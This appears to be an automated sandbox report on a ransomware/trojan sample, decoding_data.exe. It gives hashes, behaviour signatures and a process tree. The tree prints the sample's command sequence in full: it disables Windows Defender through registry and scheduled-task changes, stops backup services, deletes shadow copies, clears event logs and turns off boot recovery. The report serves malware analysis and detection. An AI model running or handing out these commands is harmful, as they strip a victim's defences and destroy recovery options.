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Overview

overview

10

Static

static

decoding_data.exe

windows7-x64

10

decoding_data.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    155s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/10/2022, 15:44

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General

  • Target

    decoding_data.exe

  • Size

    3.4MB

  • MD5

    177417be748814f6168171a42545f9dd

  • SHA1

    9c8b988e66e0fe6f9dab69b1055e4ee200531094

  • SHA256

    47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35

  • SHA512

    c90eebbd4663ffe4bec089e21e4f7c1a1441e21a2f78cc190b9ce85fd048bf46901aa74273695df7b6434887284a26d4fdaaf657cb5d9c5469574158adc351c2

  • SSDEEP

    49152:EynbnX4Rsrb/TFvO90dL3BmAFd4A64nsfJUvelzON7j93aqSCD0BUCoQPr8bg11t:EyrAe2lS75Hw+i4JROD5R

Score
10/10
evasionransomwaretrojan

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\decoding_data.exe
    "C:\Users\Admin\AppData\Local\Temp\decoding_data.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4328
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:1272
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:1120
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1124
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:3400
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3172
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:556
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1296
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:244
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:176
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:2016
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:740
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:4540
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_1a3e4" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2836
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_1a3e4" /y
                      3⤵
                        PID:3168
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2808
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3056
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:5000
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1812
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3552
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3380
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1036
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_1a3e4" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3776
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:2396
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:4140
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:4188
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:652
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:472
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:3188
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:3496
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4176
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1348
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1352
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:4976
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:1428
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:956
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1984
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:4220
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:1528
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:3196
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:1728
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:5016
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1156
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:3252
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:4100
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:2380
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:3556
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:3404
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:3272
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:2664
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:2732
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:4440
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:3748
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:4632
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:4848
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:4216
                                                                          • C:\Windows\SYSTEM32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:4108
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4792
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3448
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4524
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4924
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4832
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:548
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:4072
                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:8
                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:1104
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:3768
                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:556
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:1232

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

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                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                d85ba6ff808d9e5444a4b369f5bc2730

                                                                                SHA1

                                                                                31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                SHA256

                                                                                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                SHA512

                                                                                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                Download Submit

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                22fbec4acba323d04079a263526cef3c

                                                                                SHA1

                                                                                eb8dd0042c6a3f20087a7d2391eaf48121f98740

                                                                                SHA256

                                                                                020e5d769893724f075e10b01c59bf2424214cefe6aafbab6f44bc700f525c40

                                                                                SHA512

                                                                                fb61d737de8cbed6b7d8b5a35911c46ef26a2927a52ed7add9d594cf19dcab1b9978b61912c6f3fe4f29228f4454fb022fb2e167788c727dc6503c1fcd42159e

                                                                                Download Submit

                                                                              • memory/1232-200-0x00007FFA024D0000-0x00007FFA02F91000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                                Download

                                                                              • memory/3768-196-0x000001E17E310000-0x000001E17E332000-memory.dmp

                                                                                Filesize

                                                                                136KB

                                                                                Download

                                                                              • memory/3768-197-0x00007FFA024D0000-0x00007FFA02F91000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                                Download

                                                                              • memory/3768-201-0x00007FFA024D0000-0x00007FFA02F91000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                                Download